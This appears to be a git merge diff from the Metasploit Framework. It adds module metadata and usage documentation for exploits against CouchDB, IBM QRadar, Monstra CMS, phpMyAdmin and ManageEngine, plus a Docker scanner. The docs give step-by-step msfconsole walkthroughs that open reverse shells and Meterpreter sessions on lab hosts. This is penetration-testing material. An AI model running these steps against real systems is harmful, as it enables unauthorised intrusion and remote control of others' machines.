Merge branch 'master' into soundtrack_logo_module_refs
commit
104e4cee2e
|
@ -13870,6 +13870,32 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "scanner/http/dnalims_file_retrieve"
|
"ref_name": "scanner/http/dnalims_file_retrieve"
|
||||||
},
|
},
|
||||||
|
"auxiliary_scanner/http/docker_version": {
|
||||||
|
"name": "Docker Server Version Scanner",
|
||||||
|
"full_name": "auxiliary/scanner/http/docker_version",
|
||||||
|
"rank": 300,
|
||||||
|
"disclosure_date": null,
|
||||||
|
"type": "auxiliary",
|
||||||
|
"author": [
|
||||||
|
"Agora-Security"
|
||||||
|
],
|
||||||
|
"description": "This module attempts to identify the version of a Docker Server running on a\n host. If you wish to see all the information available, set VERBOSE to true.",
|
||||||
|
"references": [
|
||||||
|
|
||||||
|
],
|
||||||
|
"is_server": false,
|
||||||
|
"is_client": false,
|
||||||
|
"platform": "",
|
||||||
|
"arch": "",
|
||||||
|
"rport": "2375",
|
||||||
|
"targets": [
|
||||||
|
|
||||||
|
],
|
||||||
|
"mod_time": "2018-07-12 02:56:47 +0000",
|
||||||
|
"path": "/modules/auxiliary/scanner/http/docker_version.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "scanner/http/docker_version"
|
||||||
|
},
|
||||||
"auxiliary_scanner/http/dolibarr_login": {
|
"auxiliary_scanner/http/dolibarr_login": {
|
||||||
"name": "Dolibarr ERP/CRM Login Utility",
|
"name": "Dolibarr ERP/CRM Login Utility",
|
||||||
"full_name": "auxiliary/scanner/http/dolibarr_login",
|
"full_name": "auxiliary/scanner/http/dolibarr_login",
|
||||||
|
@ -30491,6 +30517,40 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "linux/http/apache_continuum_cmd_exec"
|
"ref_name": "linux/http/apache_continuum_cmd_exec"
|
||||||
},
|
},
|
||||||
|
"exploit_linux/http/apache_couchdb_cmd_exec": {
|
||||||
|
"name": "Apache CouchDB Arbitrary Command Execution",
|
||||||
|
"full_name": "exploit/linux/http/apache_couchdb_cmd_exec",
|
||||||
|
"rank": 600,
|
||||||
|
"disclosure_date": "2016-04-06 00:00:00 +0000",
|
||||||
|
"type": "exploit",
|
||||||
|
"author": [
|
||||||
|
"Max Justicz",
|
||||||
|
"Joan Touzet",
|
||||||
|
"Green-m <greenm.xxoo@gmail.com>"
|
||||||
|
],
|
||||||
|
"description": "CouchDB administrative users can configure the database server via HTTP(S).\n Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.\n This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,\n including downloading and executing scripts from the public internet.",
|
||||||
|
"references": [
|
||||||
|
"CVE-2017-12636",
|
||||||
|
"CVE-2017-12635",
|
||||||
|
"URL-https://justi.cz/security/2017/11/14/couchdb-rce-npm.html",
|
||||||
|
"URL-http://docs.couchdb.org/en/latest/cve/2017-12636.html",
|
||||||
|
"URL-https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E"
|
||||||
|
],
|
||||||
|
"is_server": false,
|
||||||
|
"is_client": false,
|
||||||
|
"platform": "Linux",
|
||||||
|
"arch": "x86, x64",
|
||||||
|
"rport": "5984",
|
||||||
|
"targets": [
|
||||||
|
"Automatic",
|
||||||
|
"Apache CouchDB version 1.x",
|
||||||
|
"Apache CouchDB version 2.x"
|
||||||
|
],
|
||||||
|
"mod_time": "2018-07-12 00:49:29 +0000",
|
||||||
|
"path": "/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "linux/http/apache_couchdb_cmd_exec"
|
||||||
|
},
|
||||||
"exploit_linux/http/astium_sqli_upload": {
|
"exploit_linux/http/astium_sqli_upload": {
|
||||||
"name": "Astium Remote Code Execution",
|
"name": "Astium Remote Code Execution",
|
||||||
"full_name": "exploit/linux/http/astium_sqli_upload",
|
"full_name": "exploit/linux/http/astium_sqli_upload",
|
||||||
|
@ -31959,6 +32019,38 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "linux/http/huawei_hg532n_cmdinject"
|
"ref_name": "linux/http/huawei_hg532n_cmdinject"
|
||||||
},
|
},
|
||||||
|
"exploit_linux/http/ibm_qradar_unauth_rce": {
|
||||||
|
"name": "IBM QRadar SIEM Unauthenticated Remote Code Execution",
|
||||||
|
"full_name": "exploit/linux/http/ibm_qradar_unauth_rce",
|
||||||
|
"rank": 600,
|
||||||
|
"disclosure_date": "2018-05-28 00:00:00 +0000",
|
||||||
|
"type": "exploit",
|
||||||
|
"author": [
|
||||||
|
"Pedro Ribeiro <pedrib@gmail.com>"
|
||||||
|
],
|
||||||
|
"description": "IBM QRadar SIEM has three vulnerabilities in the Forensics web application\n that when chained together allow an attacker to achieve unauthenticated remote code execution.\n\n The first stage bypasses authentication by fixating session cookies.\n The second stage uses those authenticated sessions cookies to write a file to disk and execute\n that file as the \"nobody\" user.\n The third and final stage occurs when the file executed as \"nobody\" writes an entry into the\n database that causes QRadar to execute a shell script controlled by the attacker as root within\n the next minute.\n Details about these vulnerabilities can be found in the advisories listed in References.\n\n The Forensics web application is disabled in QRadar Community Edition, but the code still works,\n so these vulnerabilities can be exploited in all flavours of QRadar.\n This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8\n patch 12 and 7.3.1 patch 3 are vulnerable.\n Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.",
|
||||||
|
"references": [
|
||||||
|
"CVE-2016-9722",
|
||||||
|
"CVE-2018-1418",
|
||||||
|
"CVE-2018-1612",
|
||||||
|
"URL-https://blogs.securiteam.com/index.php/archives/3689",
|
||||||
|
"URL-https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt",
|
||||||
|
"URL-http://seclists.org/fulldisclosure/2018/May/54",
|
||||||
|
"URL-http://www-01.ibm.com/support/docview.wss?uid=swg22015797"
|
||||||
|
],
|
||||||
|
"is_server": false,
|
||||||
|
"is_client": true,
|
||||||
|
"platform": "Unix",
|
||||||
|
"arch": "cmd",
|
||||||
|
"rport": "443",
|
||||||
|
"targets": [
|
||||||
|
"IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11"
|
||||||
|
],
|
||||||
|
"mod_time": "2018-06-30 12:06:16 +0000",
|
||||||
|
"path": "/modules/exploits/linux/http/ibm_qradar_unauth_rce.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "linux/http/ibm_qradar_unauth_rce"
|
||||||
|
},
|
||||||
"exploit_linux/http/ipfire_bashbug_exec": {
|
"exploit_linux/http/ipfire_bashbug_exec": {
|
||||||
"name": "IPFire Bash Environment Variable Injection (Shellshock)",
|
"name": "IPFire Bash Environment Variable Injection (Shellshock)",
|
||||||
"full_name": "exploit/linux/http/ipfire_bashbug_exec",
|
"full_name": "exploit/linux/http/ipfire_bashbug_exec",
|
||||||
|
@ -40980,6 +41072,37 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "multi/http/mobilecartly_upload_exec"
|
"ref_name": "multi/http/mobilecartly_upload_exec"
|
||||||
},
|
},
|
||||||
|
"exploit_multi/http/monstra_fileupload_exec": {
|
||||||
|
"name": "Monstra CMS Authenticated Arbitrary File Upload",
|
||||||
|
"full_name": "exploit/multi/http/monstra_fileupload_exec",
|
||||||
|
"rank": 600,
|
||||||
|
"disclosure_date": "2017-12-18 00:00:00 +0000",
|
||||||
|
"type": "exploit",
|
||||||
|
"author": [
|
||||||
|
"Ishaq Mohammed <shaikhishaq201@gmail.com>",
|
||||||
|
"Touhid M.Shaikh <touhidshaikh22@gmail.com>"
|
||||||
|
],
|
||||||
|
"description": "MonstraCMS 3.0.4 allows users to upload Arbitrary files which leads to remote command execution on the remote server.\n An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.\n This module was tested against MonstraCMS 3.0.4.",
|
||||||
|
"references": [
|
||||||
|
"CVE-2017-18048",
|
||||||
|
"EDB-43348",
|
||||||
|
"URL-https://blogs.securiteam.com/index.php/archives/3559",
|
||||||
|
"URL-https://securityprince.blogspot.com/2017/12/monstra-cms-304-arbitrary-file-upload.html?m=1",
|
||||||
|
"URL-https://www.youtube.com/watch?v=-ziZ6DELbzw"
|
||||||
|
],
|
||||||
|
"is_server": true,
|
||||||
|
"is_client": false,
|
||||||
|
"platform": "PHP",
|
||||||
|
"arch": "php",
|
||||||
|
"rport": "80",
|
||||||
|
"targets": [
|
||||||
|
"Monstra CMS 3.0.4"
|
||||||
|
],
|
||||||
|
"mod_time": "2018-07-10 14:13:57 +0000",
|
||||||
|
"path": "/modules/exploits/multi/http/monstra_fileupload_exec.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "multi/http/monstra_fileupload_exec"
|
||||||
|
},
|
||||||
"exploit_multi/http/moodle_cmd_exec": {
|
"exploit_multi/http/moodle_cmd_exec": {
|
||||||
"name": "Moodle Remote Command Execution",
|
"name": "Moodle Remote Command Execution",
|
||||||
"full_name": "exploit/multi/http/moodle_cmd_exec",
|
"full_name": "exploit/multi/http/moodle_cmd_exec",
|
||||||
|
@ -41820,6 +41943,41 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "multi/http/phpmyadmin_3522_backdoor"
|
"ref_name": "multi/http/phpmyadmin_3522_backdoor"
|
||||||
},
|
},
|
||||||
|
"exploit_multi/http/phpmyadmin_lfi_rce": {
|
||||||
|
"name": "phpMyAdmin Authenticated Remote Code Execution",
|
||||||
|
"full_name": "exploit/multi/http/phpmyadmin_lfi_rce",
|
||||||
|
"rank": 400,
|
||||||
|
"disclosure_date": "2018-06-19 00:00:00 +0000",
|
||||||
|
"type": "exploit",
|
||||||
|
"author": [
|
||||||
|
"ChaMd5",
|
||||||
|
"Henry Huang",
|
||||||
|
"Jacob Robles"
|
||||||
|
],
|
||||||
|
"description": "phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,\n which can be exploited post-authentication to execute PHP code by\n application. The module has been tested with phpMyAdmin v4.8.1.",
|
||||||
|
"references": [
|
||||||
|
"BID-104532",
|
||||||
|
"CVE-2018-12613",
|
||||||
|
"CWE-661",
|
||||||
|
"URL-https://www.phpmyadmin.net/security/PMASA-2018-4/",
|
||||||
|
"URL-https://www.secpulse.com/archives/72817.html",
|
||||||
|
"URL-https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/"
|
||||||
|
],
|
||||||
|
"is_server": true,
|
||||||
|
"is_client": false,
|
||||||
|
"platform": "PHP",
|
||||||
|
"arch": "php",
|
||||||
|
"rport": "80",
|
||||||
|
"targets": [
|
||||||
|
"Automatic",
|
||||||
|
"Windows",
|
||||||
|
"Linux"
|
||||||
|
],
|
||||||
|
"mod_time": "2018-07-09 09:29:11 +0000",
|
||||||
|
"path": "/modules/exploits/multi/http/phpmyadmin_lfi_rce.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "multi/http/phpmyadmin_lfi_rce"
|
||||||
|
},
|
||||||
"exploit_multi/http/phpmyadmin_null_termination_exec": {
|
"exploit_multi/http/phpmyadmin_null_termination_exec": {
|
||||||
"name": "phpMyAdmin Authenticated Remote Code Execution",
|
"name": "phpMyAdmin Authenticated Remote Code Execution",
|
||||||
"full_name": "exploit/multi/http/phpmyadmin_null_termination_exec",
|
"full_name": "exploit/multi/http/phpmyadmin_null_termination_exec",
|
||||||
|
@ -71138,6 +71296,32 @@
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "windows/http/manage_engine_opmanager_rce"
|
"ref_name": "windows/http/manage_engine_opmanager_rce"
|
||||||
},
|
},
|
||||||
|
"exploit_windows/http/manageengine_adshacluster_rce": {
|
||||||
|
"name": "Manage Engine Exchange Reporter Plus Unauthenticated RCE",
|
||||||
|
"full_name": "exploit/windows/http/manageengine_adshacluster_rce",
|
||||||
|
"rank": 600,
|
||||||
|
"disclosure_date": "2018-06-28",
|
||||||
|
"type": "exploit",
|
||||||
|
"author": [
|
||||||
|
"Kacper Szurek <kacperszurek@gmail.com>"
|
||||||
|
],
|
||||||
|
"description": "This module exploits a remote code execution vulnerability that\n exists in Exchange Reporter Plus <= 5310, caused by execution of\n bcp.exe file inside ADSHACluster servlet",
|
||||||
|
"references": [
|
||||||
|
"URL-https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html"
|
||||||
|
],
|
||||||
|
"is_server": true,
|
||||||
|
"is_client": false,
|
||||||
|
"platform": "Windows",
|
||||||
|
"arch": "x86, x64",
|
||||||
|
"rport": "8181",
|
||||||
|
"targets": [
|
||||||
|
"Automatic"
|
||||||
|
],
|
||||||
|
"mod_time": "2018-07-12 14:27:28 +0000",
|
||||||
|
"path": "/modules/exploits/windows/http/manageengine_adshacluster_rce.rb",
|
||||||
|
"is_install_path": true,
|
||||||
|
"ref_name": "windows/http/manageengine_adshacluster_rce"
|
||||||
|
},
|
||||||
"exploit_windows/http/manageengine_appmanager_exec": {
|
"exploit_windows/http/manageengine_appmanager_exec": {
|
||||||
"name": "ManageEngine Applications Manager Remote Code Execution",
|
"name": "ManageEngine Applications Manager Remote Code Execution",
|
||||||
"full_name": "exploit/windows/http/manageengine_appmanager_exec",
|
"full_name": "exploit/windows/http/manageengine_appmanager_exec",
|
||||||
|
@ -82222,7 +82406,7 @@
|
||||||
"targets": [
|
"targets": [
|
||||||
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
|
"Windows 7 and Server 2008 R2 (x64) All Service Packs"
|
||||||
],
|
],
|
||||||
"mod_time": "2018-06-27 19:17:18 +0000",
|
"mod_time": "2018-07-10 11:05:00 +0000",
|
||||||
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
|
"path": "/modules/exploits/windows/smb/ms17_010_eternalblue.rb",
|
||||||
"is_install_path": true,
|
"is_install_path": true,
|
||||||
"ref_name": "windows/smb/ms17_010_eternalblue"
|
"ref_name": "windows/smb/ms17_010_eternalblue"
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
## Intro
|
||||||
|
|
||||||
|
This module scans for Docker servers listening on a TCP port (default 2375).
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**VERBOSE**
|
||||||
|
|
||||||
|
Enable this to dump all info to the screen.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use auxiliary/scanner/http/docker_version
|
||||||
|
msf5 auxiliary(scanner/http/docker_version) > set rhosts 127.0.0.1
|
||||||
|
rhosts => 127.0.0.1
|
||||||
|
msf5 auxiliary(scanner/http/docker_version) > set verbose true
|
||||||
|
verbose => true
|
||||||
|
msf5 auxiliary(scanner/http/docker_version) > run
|
||||||
|
|
||||||
|
[*] Identifying Docker Server Version on 127.0.0.1:2375
|
||||||
|
[+] [Docker Server] Version: 18.03.1-ce
|
||||||
|
[*] All info: {"Platform"=>{"Name"=>""}, "Components"=>[{"Name"=>"Engine", "Version"=>"18.03.1-ce", "Details"=>{"ApiVersion"=>"1.37", "Arch"=>"amd64", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00", "Experimental"=>"false", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "KernelVersion"=>"[redacted]", "MinAPIVersion"=>"1.12", "Os"=>"linux"}}], "Version"=>"18.03.1-ce", "ApiVersion"=>"1.37", "MinAPIVersion"=>"1.12", "GitCommit"=>"9ee9f40", "GoVersion"=>"go1.9.5", "Os"=>"linux", "Arch"=>"amd64", "KernelVersion"=>"[redacted]", "BuildTime"=>"2018-04-26T07:15:24.000000000+00:00"}
|
||||||
|
[*] Saving host information.
|
||||||
|
[*] Scanned 1 of 1 hosts (100% complete)
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
msf5 auxiliary(scanner/http/docker_version) >
|
||||||
|
```
|
|
@ -0,0 +1,111 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
CouchDB administrative users can configure the database server via HTTP(S).Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,including downloading and executing scripts from the public internet.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
**Vulnerable Application Link**
|
||||||
|
|
||||||
|
- docker
|
||||||
|
|
||||||
|
Couchdb 2.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635
|
||||||
|
Couchdb 1.x: https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12636
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application Installation Setup.
|
||||||
|
|
||||||
|
Change dictory to CVE-2017-1263X, and run `docker-compose up -d`
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
Example steps in this format (is also in the PR):
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: ```use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb```
|
||||||
|
4. Do: ``check``
|
||||||
|
|
||||||
|
``[*] 192.168.77.139:5984 The target appears to be vulnerable.``
|
||||||
|
|
||||||
|
5. Do: ``set srvhost <ip>``
|
||||||
|
6. Do: ``set srvport <port>``
|
||||||
|
7. Do: ``set lhost <ip>``
|
||||||
|
8. Do: ``set lport <port>``
|
||||||
|
9. Do: ``exploit``
|
||||||
|
10. You should get a shell.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
- URIPATH
|
||||||
|
|
||||||
|
``URIPATH`` by default is random, you can change it if you want.
|
||||||
|
|
||||||
|
- HttpUsername, HttpPassword
|
||||||
|
|
||||||
|
Sometimes it requires authentication, set these options to authorize.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
TESTED AGAINST LINUX
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > show options
|
||||||
|
|
||||||
|
Module options (exploit/linux/http/apache_couchdb_cmd_exec):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
HttpPassword no The password to login with
|
||||||
|
HttpUsername no The username to login as
|
||||||
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||||
|
RHOST yes The target address
|
||||||
|
RPORT 5984 yes The target port (TCP)
|
||||||
|
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||||
|
SRVPORT 8080 yes The local port to listen on.
|
||||||
|
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||||
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||||
|
URIPATH no The URI to use for this exploit to download and execute. (default is random)
|
||||||
|
VHOST no HTTP server virtual host
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (cmd/unix/reverse_bash):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LHOST yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 Automatic
|
||||||
|
|
||||||
|
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set rhost 192.168.77.139
|
||||||
|
rhost => 192.168.77.139
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > check
|
||||||
|
[*] 192.168.77.139:5984 The target appears to be vulnerable.
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvhost 192.168.77.139
|
||||||
|
srvhost => 192.168.77.139
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set srvport 8888
|
||||||
|
srvport => 8888
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > set lhost 192.168.77.139
|
||||||
|
lhost => 192.168.77.139
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > exploit
|
||||||
|
[*] Exploit running as background job 0.
|
||||||
|
[*] Started reverse TCP handler on 192.168.77.139:4444
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > [*] Using URL: http://192.168.77.139:8888/rXrdf2
|
||||||
|
[*] 192.168.77.139:5984 - The 1 time to exploit
|
||||||
|
[*] 192.168.77.139:5984 - Sending the payload to the server...
|
||||||
|
[*] Command shell session 1 opened (192.168.77.139:4444 -> 172.18.0.2:58348) at 2018-03-27 06:18:21 -0400
|
||||||
|
[*] Server stopped.
|
||||||
|
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 1
|
||||||
|
[*] Starting interaction with 1...
|
||||||
|
id
|
||||||
|
uid=1000(couchdb) gid=999(couchdb) groups=999(couchdb)
|
||||||
|
```
|
|
@ -0,0 +1,51 @@
|
||||||
|
This module exploits three vulnerabilities in the IBM QRadar SIEM, a Forensics web application.
|
||||||
|
Chained together, they allow an attacker to achieve unauthenticated remote code execution.
|
||||||
|
|
||||||
|
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
|
||||||
|
so these vulnerabilities can be exploited in all flavours of QRadar.
|
||||||
|
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
The vulnerable application can be found here: https://developer.ibm.com/qradar/ce/
|
||||||
|
You will need a valid IBM login, which can be acquired for free, in order to
|
||||||
|
download the software, but old versions are archived.
|
||||||
|
|
||||||
|
This module was tested with IBM QRadar Community Edition 7.3.0 and 7.3.1, but may not work
|
||||||
|
with the licensed versions (it is unclear if IBM backported a patch or there
|
||||||
|
was some other reason it does not work).
|
||||||
|
|
||||||
|
IBM has confirmed versions up to 7.2.8 patch 12 and 7.3.1 patch 3 are vulnerable.
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
```
|
||||||
|
Module options (exploit/linux/http/ibm_qradar_unauth_rce):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||||
|
RHOSTS yes The target address
|
||||||
|
RPORT 443 yes The target port (TCP)
|
||||||
|
SRVHOST 0.0.0.0 yes HTTP server address
|
||||||
|
SRVPORT 4448 yes HTTP server port
|
||||||
|
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||||
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||||
|
URIPATH no The URI to use for this exploit (default is random)
|
||||||
|
VHOST no HTTP server virtual host
|
||||||
|
|
||||||
|
|
||||||
|
Payload options (generic/shell_reverse_tcp):
|
||||||
|
|
||||||
|
Name Current Setting Required Description
|
||||||
|
---- --------------- -------- -----------
|
||||||
|
LHOST yes The listen address
|
||||||
|
LPORT 4444 yes The listen port
|
||||||
|
|
||||||
|
|
||||||
|
Exploit target:
|
||||||
|
|
||||||
|
Id Name
|
||||||
|
-- ----
|
||||||
|
0 IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11
|
||||||
|
```
|
|
@ -0,0 +1,60 @@
|
||||||
|
## Description
|
||||||
|
MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to remote command execution on the remote server. An attacker may choose to upload a file containing PHP code and run this code by accessing the resulting PHP file.
|
||||||
|
This module was tested against MonstraCMS 3.0.4.
|
||||||
|
Additional information and vulnerabilities can be viewed on Exploit-DB [43348](https://www.exploit-db.com/exploits/43348/).
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
Available at [Exploit-DB](https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip)
|
||||||
|
|
||||||
|
### Vulnerable Application Installation Setup
|
||||||
|
1. Download Application : `https://www.exploit-db.com/apps/23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
|
||||||
|
2. Extract : `23663fc7b47c4c1e476b793ea53660bc-monstra-3.0.4.zip`
|
||||||
|
3. Move In WebDirectory : `C:\xampp\htdocs\`
|
||||||
|
4. Now Visit : http://localhost/
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Install the application
|
||||||
|
2. Start msfconsole
|
||||||
|
3. Do: `use exploit/multi/http/monstra_fileupload_exec`
|
||||||
|
4. Do: `set rport <port>`
|
||||||
|
5. Do: `set rhost <ip>`
|
||||||
|
6. Do: `set targeturi monstra`
|
||||||
|
7. Do: `set username USERNAME`
|
||||||
|
8. Do: `set password PASSWORD`
|
||||||
|
9. Do: `check`
|
||||||
|
```
|
||||||
|
[*] Monstra CMS: 3.0.4
|
||||||
|
[+] 192.168.0.101:80 The target is vulnerable.
|
||||||
|
```
|
||||||
|
10. Do: `set lport <port>`
|
||||||
|
11. Do: `set lhost <ip>`
|
||||||
|
12. Do: `exploit`
|
||||||
|
13. You should get a shell.
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
### Monstra CMS on Windows Target
|
||||||
|
```
|
||||||
|
msf exploit(multi/http/monstra_fileupload_exec) > check
|
||||||
|
|
||||||
|
[*] Monstra CMS: 3.0.4
|
||||||
|
[+] 192.168.0.101:80 The target is vulnerable.
|
||||||
|
msf exploit(multi/http/monstra_fileupload_exec) > exploit
|
||||||
|
|
||||||
|
[*] Started bind handler
|
||||||
|
[*] Trying to Login ......
|
||||||
|
[+] Authentication successful : [ editor : editor ]
|
||||||
|
[+] CSRF-Token for File Upload : 2a67a7995c15c69a158d897f517e3aff2e3a4ae9
|
||||||
|
[*] Trying to upload file with malicious Content....
|
||||||
|
[*] Executing Payload
|
||||||
|
[*] Sending stage (37775 bytes) to 192.168.0.101
|
||||||
|
[*] Meterpreter session 1 opened (10.0.2.15:45689 -> 192.168.0.101:4444) at 2018-06-30 12:39:53 +0530
|
||||||
|
[+] Deleted TSPfeLYdMP.PHP
|
||||||
|
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : 114619-T470P
|
||||||
|
OS : Windows NT 114619-T470P 10.0 build 16299 (Windows 10) AMD64
|
||||||
|
Meterpreter : php/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -0,0 +1,37 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. `./msfconsole -q`
|
||||||
|
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
|
||||||
|
3. `set rhosts <rhost>`
|
||||||
|
4. `run`
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
|
||||||
|
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
|
||||||
|
rhosts => 172.22.222.122
|
||||||
|
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.22.222.190:4444
|
||||||
|
[*] Sending stage (37775 bytes) to 172.22.222.122
|
||||||
|
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: SYSTEM (0)
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer :
|
||||||
|
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
|
||||||
|
Meterpreter : php/windows
|
||||||
|
meterpreter >
|
||||||
|
```
|
|
@ -2,6 +2,7 @@ require 'metasm'
|
||||||
require 'erb'
|
require 'erb'
|
||||||
require 'metasploit/framework/compiler/utils'
|
require 'metasploit/framework/compiler/utils'
|
||||||
require 'metasploit/framework/compiler/headers/windows'
|
require 'metasploit/framework/compiler/headers/windows'
|
||||||
|
require 'metasploit/framework/obfuscation/crandomizer'
|
||||||
|
|
||||||
module Metasploit
|
module Metasploit
|
||||||
module Framework
|
module Framework
|
||||||
|
@ -13,7 +14,7 @@ module Metasploit
|
||||||
#
|
#
|
||||||
# @param c_template [String] The C source code to compile.
|
# @param c_template [String] The C source code to compile.
|
||||||
# @param type [Symbol] PE type, either :exe or :dll
|
# @param type [Symbol] PE type, either :exe or :dll
|
||||||
# @param cpu [Object] A Metasm cpu object, for example: Metasm::Ia32.new
|
# @param cpu [Metasm::CPU] A Metasm cpu object, for example: Metasm::Ia32.new
|
||||||
# @raise [NotImplementedError] If the type is not supported.
|
# @raise [NotImplementedError] If the type is not supported.
|
||||||
# @return [String] The compiled code.
|
# @return [String] The compiled code.
|
||||||
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
|
def self.compile_c(c_template, type=:exe, cpu=Metasm::Ia32.new)
|
||||||
|
